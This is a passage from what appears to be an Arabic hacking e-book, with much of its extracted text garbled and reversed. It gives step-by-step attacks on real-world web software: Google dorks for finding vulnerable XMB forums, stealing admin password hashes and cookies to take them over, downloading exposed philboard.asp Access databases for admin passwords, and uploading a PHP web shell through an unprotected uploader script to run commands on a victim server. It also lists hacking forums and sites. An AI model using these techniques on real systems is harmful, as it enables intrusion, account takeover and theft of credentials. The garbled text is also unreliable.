etc ][  ف شبه امني وهو عباره عن ت مل ت وملفا   تخزن فیه الباسوردا

ر  رف ح بها في السی ء المسمو  ][اللوج والأشیا
httpd ][  ر رف ف المواقع الموجوده على السی  ][وهو مل

 apache ][ ت عن ف الامني وتوجد به معلوما ل المل خ ف یوجد دا ر مل رف   السی
ص به   ][ونوعه وكل شي یخت

 conf ][ ختصار ص بكل ما هو config لكلمة وهو ا ف بشكل عام یخت  وهو مل
ت للموقع او لقواعد  سري بالموقع مثل الیوزر والباسورد  ][البیانا

 httpd.conf ][ ف ص بالموقع وهو المل خا   المطلوب اللذي یوجد فیه كل شي 
حته على ص به ومسا حبه  اسمه والیوزر الخا صا ل  ر وایمی رف    ][السی

 
ح تلقاه    وهذا اللي را

PHP:  
  

 
ServerAlias <a href="http://www.NIGHTMARE.com" target="_blank">w
ww.NIGHTMARE.com</a> NIGHTMARE.com  
ServerAdmin [email]webmaster@NIGHTMARE.com[/email]  
DocumentRoot /home/NIGHTMARE/public_html  
BytesLog domlogs/NIGHTMARE.com-bytes_log  
User NIGHTMARE  
Group NIGHTMARE  
ServerName <a href="http://www.NIGHTMARE.com" target="_blank">w
ww.NIGHTMARE.com</a>  
CustomLog domlogs/NIGHTMAREcom combined  
ScriptAlias /cgi-bin/ /home/NIGHTMARE/public_html/cgi-bin 

  
ق لك شئ اتكل على االله   اذا لم یب

ر  وفك التشفی
ف تي س بي شغل الا حط الاندك  وامسح الموقع و
ختاام   ...والسلام 
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 " من المنتدیات XMBثغرة في نوع " 
  

$$$$$$$$$$$$$$$$  
 MaXhAk2000: الكاتب

$$$$$$$$$$$$$$$$  
  

ركاته،،، حمة االله وب  السلام علیكم ور
 
خواننا العربفأنا (((((((بعد  اما ضد ا ره  طئ لهذه الغ خا رئ ذمتي من اي استخدام  على ما اقول  واالله،اب

 ))))))...شهید
 بسم االله نبدأ،،،

ت من نوع ر المنتدیا ت التي  من xmb تعتب تالمنتدیا ر من اكتسب ل الكثی حا حالها  ره واسعه في مجالها و  شه
ى ر خ ت  الأنواع الأ ختراقا ت والأ را ت من وجود الثغ ض الامن المنتدیا ل على وجه الأر ء كام الله  فلا یوجد شي ا

 ..عز وجل
 

ره  ::وصف للثغ
ف ثغره جدیده في هذا النوع من ر على المنتدى او تكون  وقد تم اكتشا ت مما یمكنك ان تكون المدی المنتدیا

ر خ ف اوي اي عضو ا ر   مش
 

 :::الأصدار المصاب
XMB 1.6 Magic Lantern Final 

 
ح ر ق الش  :::والتطبی

ت ال ت >>>شغل والجدجا وق خطوا م الدرس على  ف اقوم بتقسی ضح وأسهل سو  :حتى یفهم ویكون اووو
 
 com.google.www://http/ علیك بالذهاب الى موقع جوجل1- 

حث -2  XMB 1.6 Magic Lantern Final اكتب في منطقة الب
ت -3 ى منتدیا ر ف ت ءكثییییی سو ره لكن رجااا رها مصابه بهذه الثغ ره اكث   ییی

ت العربیة ره الموجوده لاتقرب المنتدیا رها من الثغ حذی  .وعلیك بت
ضغط على اي منتدى وقم بكتابة الكلمة -4   التالیة بعد عنوان المنتدى ا

index_log.log ح یكون زي كده   یعني را
log.index_log/massegboard/com.******.www://http 
ح ینزل -5 ء را ر وفیه اسما ف زي الكوكیز كبی ف عباره عن مل ف والمل   عندك مل

ء ثانیه ماتهمنا المستخدمین والباسورد  .وأشیا
ر وذلك -6 حث في المنتدى عن اسم المدی ضیع الأن علیك بالب   بالذهاب الى الموا

خ ت اسمه ادمن ستریتور انس ح ء والي تلقى ت ف الأسما  .اسمه وتشو
ح یجیك زي -7 ر را حث عن اسم المدی ف الي نزلته من الموقع وسوي ب   افتح المل

  ::كده مثلا
xmbuser=admin 

ح تلقاه قدامه زي كده   واباس را
xmbpw=1faeb6747a31c854800ddf3c62b1717a 

ر -8 حاله مشف ت شركة طبعا الباس في هذه ال ض قام ر صعب لهذا الغ ر    وفك التشفی
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CCI ض وهذه ر ج یقوم بهذا الغ رنام م ب ج بتصمی رنام ت الب   وصل
exe.chigger/cci/com.cafecounterintelligence.www://ftp 
ج كتالي في  -9 رنام ت الب  :الصورةاعداد

 
 

صح) ١(رقم  ضع علامة   .قم بو
ء) ٢(رقم  ضع اسم العضو سوا ره قم بو ر او غی   مدی
ق العضو او ) ٣(رقم  ح ر  ضع الباس المشف رهقم بو ر او غی   المدی
صح (4) رقم ضع علامة   .قم بو

ق مزوده) ٥(رقم  ح روكسي  روكسي الي تریده اوالب ضع الب حقك قم بو  الخدمه 
روكسي) ٦(رقم  ق الب ح ضع المنفذ   قم بو

 
حد بعد -10 ء وا ج بقي ان تذهب الى بقي شي رنام ت الب حق ت    اتمام الأعدادا

ت اكسبلورر ضغط بالزر الیمین < المتصفح انترن ت <ا ت <الأتصالاا  <اعدادا
روكسي هذا ضع الب  ٨٠٨٠والمنفذ  <127.0.0.1 قم بو

ف وتجول فیه وكأنك -11 رتبع المنتدى بعد ذلك اذهب للمنتدى المستهد   المدی
 .تبغاه وسوي الي

------------------------------------------- 
ل لسد ح  :الثغرة ال

 
حلها علیك بالتالي ره و  ::لتصدي لهذه الثغ

فا -1  index.php فتح المل
حث عن الكود التالي  -2  :واب

include "index_add.php"  
?> 
حذفه -3   .ثم قم ب
ف -4 ف المل حذ  .المنتدى من مجلد index_log.log قم ب

======= 
ره ل هذه الثغ ح ى ل ر خ ریقه ا   ط

 1.8 الأصدار قم بتریقة المنتدى الى
************************************************** 

************************************ 
ح،،، انتهى ر   ....الش
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  "philboardشرح ثغرة " 
  

$$$$$$$$$$$$$$  
 Hi_HaCkEr: الكاتب

$$$$$$$$$$$$$$  
  

ت الدینامیكیة ض اللغا ت في بع را حد الثغ ر ا   active server pages (asp)سأذك
 

خصوصا في التع ت عدیدة و را ف بها ثغ ل مع قواعدطبعا هذه اللغة وللأس  .بیاناتها  ام
 

رمجة الدینامیكیة ت الب ر من لغا ت ولها میزة  بشكل مختصر هذه اللغة تعتب رمجة مواقع الانترن التفاعلیة لب
  بأن الكود لها مخفي

 
  :قواعد بیاناتها على ثلاثة أنواع هي  وتعتمد

sqlserver && sql && M.S Access 
 

س فث ت أكس ت ما یكروسوف حیثواما قاعدة بیانا ت ب را راتها من أبسط الثغ ت امتدادا واسم  غ انك اذا وجد
میلها على جهازك مباشرة ح ت فقط فانك تستطیع ت ر  قاعدة البانا ت بسهولة ویس وتصفح جمیع الباسوردا

ضا  ر أی  .وبدون تشفی
 

حد ل من أ ت التي تتضح جلیه بها هذه الثغرة وهي باسم والیكم المثا   philboard.asp المنتدیا
  asp.philboard/forum/uk.co.khill.www://http المنتدى مثل هذا

ریقة ایجاد ط حث عن  و ت اذهب الى جوجل كما ذكرنا سابقا واب  < --------------مثل هذا النوع منتدیا
philboard ج ر النتائ  .... وانتظ

 
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 

ف ت ؟ كی ل قاعدة البیانا حم   ت
  

  اكتب هذا الامتداد
حاول ان یكون المنتدى به ر جدا  وبعد ذلك  صغی ت  حجم قاعدة البیانا حتى یكون  ضیع  ل من الموا عدید قلی

ق والتسلیم رعة للتطبی   بس
توهذا هو امتداد واسم قاعدة الب ت لقاعدة البیانا   یانا

database/philboard.mdb 
  وتكتبه بعد اسم الموقع والمنتدى مثل

mdb.philboard/database/forum/uk.co.khill.www://http 
 
  
  
ت ان یكون  ولا سبد لكي تقرا قاعدة البیانا ت أكس ج ما یكروسوف رنام   في جهازك ب

ت وبعد فتح ت قاعدة البیانا حتویا خلها عدة جداول فیعا جمیع م ت ستجد بدا   قاعدة البیانا
  users ضمنها وهو المهم جدول المستخدمین ال من
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ر العام مع الباسوورد وهو admin وستجد اول اسم عالبا هو   اسم المدی
 

ل لهذه الثغرة  ح ر م/ وال ت لكل منتدى  سارهو تغیی ت. قواعد البیانا  philboard.asp فكما راینا ان منتدیا
س الاسم والامتداد قواعد بیاناتها   .....جمیعا لها نف
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  "php . uploaderشرح ثغرة" 
  

$$$$$$$$$$$$$$  
  Hi_HaCkEr:الكاتب

$$$$$$$$$$$$$$  
  

ج رنام ر باصدارة  uploader.php هي ثغرة في ب حتى  ١٫١وهو متوف ف او رفع اي مل وتسمح لك ب
ت   php سكربتا

 
حمیله من  php.uploader/com.phpscriptcenter.www://http وتستطیع ت

 
ت من ت لموقعك الاسكرب   ))بوجود باسورد ((  مباشرة لكن اسمه یتضح بانه یعطیك میزة رفع ملفا

 
رتك اذا لم یكن ت سیط ح ر كله سیصبح ت رف حمى بباسوورد اذا السی حالة طیب اذا لم یكن م  في 

safe_mode ت سیطرتك ح ف مود فالموقع فقط سیصبح ت   اما اذا كان سی
ت حمل ف اذا  ل ذلك من مل ر الباسوورد وتستطیع عم ف لموقعك فقم بتغیی   setup.php المل

 
 

open setup.php and edit these options ض هذا ف واستعر ت افتح المل   الاعدادا
-------------------------------------------------------------------------------------- 

$ADMIN[RequirePass] = "Yes"; // Checks to see if upload has a vaild 
password 

$ADMIN[Password] = "password"; // This is the password if the above 
ر الباسوورد من  هناااا قم بتغیی

option is Yes 
$ADMIN[UploadNum] = "5"; // Number of upload feilds to put on the 

html ت   عدد الملفا
page 

$ADMIN[directory] = "uploads"; // The directory the files will be 
uploaded to (must be chmoded to 777) ره فلك  اسم مجلد ف اتركه كما هو او غی المل

  الخیار
----------------------------------------------------------------------------------------  

 
ل خ ف وسیكون بدا ل اي مل می ح حمي بباسوورد فتستطیع ت ف م  uploads مجلد طبعا ان لم یكن المل

تفاذا رفعنه   ا مثلا هذا الاسكرب
 

<?php  
$cmd = $_GET["cmd"]; 

system("$cmd");  
?> 

ر cmd سنصل للـ ر ونستطیع تنفیذ اوام رف   etc ...... على السی
  فاذا نفذنا
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id=php?cmd.shellemul/uploads/com.victim.www://http 
ج مثلا سیكون   النات

uid=21(apache) gid=21(apache) groups=21(apache) 
 

ت مماثل له واستمتع  طبعا هذا ت الشل او اي سكرب رفاهیة ارفع سكرب ت بسیط ولمزید من ال لم  ان( سكرب
ف مود حالة سی ر في  رف  )یكن السی

 
حث عن هذه الثغرة ریقة الب   ط

 
حث في ریقةجوجل متبعا هذه ال اب   ط

allinurl: uploader.php 
ج ى النتائ   وستر

 
ضوع مفیدا للجمیع ختاما اتمنى ان یكون المو   .........و
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 "أفضل المنتدیات العربیة للهاكر " 
  

$$$$$$$$$$$$$$$$  
  MaXhAk2000:الكاتب

$$$$$$$$$$$$$$$$ 
  

ت العربیة في مج حد معرفتيأقد لكم أفضل المواقع والمنتدیا ل الهاك بجمیع مجالته على    :::ا
  

ت العاصفة  .١ ر ( منتدیا   vb/com.asfh3.www://http) منظمة هاي هك
حزم الإسلامیة .٢  vb/net.azm7.www://http/. منتدى شبكة ال
 vb/net.ebnmasr.www://http/. منتدى ابن مصر .٣
ر  .٤ حم   ocm.redstaing.www://httpمنتدى العقرب الأ
 vb/com.sar3e.www://http/. منتدى إعصار .٥
ت .٦  vb/com.emoataz.www://http/. منتدى معتز ن
ر فلسطین .٧  com.palestine4h.www://http/. منتدى هاك
 net.pharaonics.www://http/موقع  .٨
 vb/com.naajm.www://http. منتدى نجم دوس .٩
راطوریة العرب . ١٠  forums/net.arabse.www://http/منتدى امب

  
م الهاك حته عن المواقع العربیة التي تدعم عل   ...هذه افضل مارأیته وتصف
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 "أفضل مواقع الأمن والهاك الإنجلیزیة " 
  

$$$$$$$$$$$$$$$$  
  MaXhAk2000:الكاتب

$$$$$$$$$$$$$$$$ 
  

ر خ ر لمعرفة ا ض المواقع المهمة التي یستخدمها الهك ت بسیط لهذه  هذه بع ت الصادره مع مقالا را الثغ
  المواقع
 Packet Storm Security موقع

---------------------- 
 com.securify.packetstorm://http/  :العنوان

ر قواعد حد من اكب ت متعلقة بالأمن وا ل كعلوما حم ت التي ت   البیانا
ره ءة قسم انا افضل الذهاب الى هذا الموقع م حث عن  'New Files Today' في الیوم لقرا ءا للب سوا

ت معین را  .ه او لأثغ
ق اوجد ری ط ف عن  ت كل Ken Williams الارشی را ف من النق ت الالو  حیث ان هذا الموقع یستهلك مئا
 اسبوع

ت ملكیته الى مالك  .)Nagra -O- Kroll/com.securify.www://http (حالیا انتقل
 

 Security Focus موقع
---------------- 

 com.securityfocus.www://http/ :العنوان 
ى كاملة  ر خ ت ا ء الشباب القائمون على هذا الموقع لا ینامون ابدا .قاعدة بیانا ث یومیا فهؤلا حد  ! تت

BugTraq 
-------- 
وسابقا ,  )Security Focus /com.securityfocus.www://http (مستضیفه موقع: العنوان 

 .)Netspace  (/org.netspace.www://http (كان مستضیفة
BugTraq حدة من افضل قائمة ریدیة وا ت الب راسلا   التي تتهتم بالامن الالكتروني mailing list الم
س اسمه هذه القائمة ل  .Aleph1 (aleph1@underground.org) یقوم علیها رئی رسائ یستقبل ال
ضیفها من ال) عن ثغرة معینه مثلا  ) التي ترسلها حلیلها وتن س لها spamsویقوم بت ل التي لی رسائ  وال

رساله ا ل ال ت القدیمة ثم یقوم بإرسا را   في القائمة لممتازه فقط الى جمیع المشتركینفائدة او الثغ
ل حك بالتسجی  com.securityfocus.www://http/ انص

حث في ضا الب خول الموقع  تستطیع ای ق د ری ط ت وذلك عن  ر لدي من افضل قواعد البیانا ارشیفاتها التي تعتب
حث عن رابط ثم  'search' الب
 

حث  Searching الب
------------ 
ت ترید حث عن ثغرة متعلقة بخدمه معینة مثلا اذا كن ت Sendmail 8.8.3 الب حتاج لكتاب  فست

'sendmail 8.8.3' حجب الخدمه ره معینه مثلا هجوم  حث عن ثغ ت الب ضد اي  local DoS واذا ارد
  sendmail من نسخه

ت التالي ت 'local DoS sendmail' : فما علیك الا كتاب   .الاقتباس بدون علاما
  

ى ر خ ض المواقع الا   :::وهذه بع



 

  ٢ ٥٨  
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 tk.redi.rootshell://http/موقع  .١
 com.ussrback.www://httpموقع  .٢
 html.sploits/org.insecure.www://httpموقع  .٣
 za.co.hack/cn.com.linux.www://httpموقع  .٤

  
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

=  
ضئیلة  لعدم توسعي في اللغة الإنجلیزیة، وهذه المواقع أما بالنسبة لمواقع الهاك الإنجلیزیة فمعرفتي بها 

  :::كالتالي
 pl.com.haker.www://httpموقع  .١
 com.webattack.www://http/موقع  .٢
 sk.box.ksunblac://httpموقع  .٣
 com.blackcode.www://httpموقع  .٤

...  
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  الخاتمة
  

ر والثواب  ءه الا الخی رجوا من ورا حمد االله ونشكره على ان وفقنا لإتمام هذا الكتاب والذي لان   ن
خ ر الغیب لنا ولإ   .واننا المسلمین في كل مكانفلا تنسونا من دعوة في ظه

  
ل  ت ومن هذا القابی را ح للثغ حتوي على شرو ض هذا الكتاب لا ی ء قد یقول البع   لكن ننوه هنا اللا شي

م الذي لا ینتهى  ص في هذا العل ق الشخ س ومن ثم ینطل حن أنه یجب في البدایة التأسی   لكن نقول ن
حدد وت ت م ت لها وق را ضا أن الثغ حنا بعضها من أجل باب ویفقه نفسه بنفسه،، وأی نتهي ویتم ترقیعا لكن شر

ر لإستفادة لا غی ء ول م بالشي   ...العل
  

ت النجوم  ر خ حب وعدد ما تزا ت الس حمد ابن عبداالله عدد ما تراكم   ...هذا وصلى االله على النبي الختار م
  

ركاته،،، حمة االله وب   والسلام علیكم ور
  

++++++++++++++++++++++++  
حه  راسلةأي استفسار أو نصی رجى م      +-:ی

com.Hi_hacker@hotmail+        
com.@hotmail2000Maxhak+    

++++++++++++++++++++++++ 


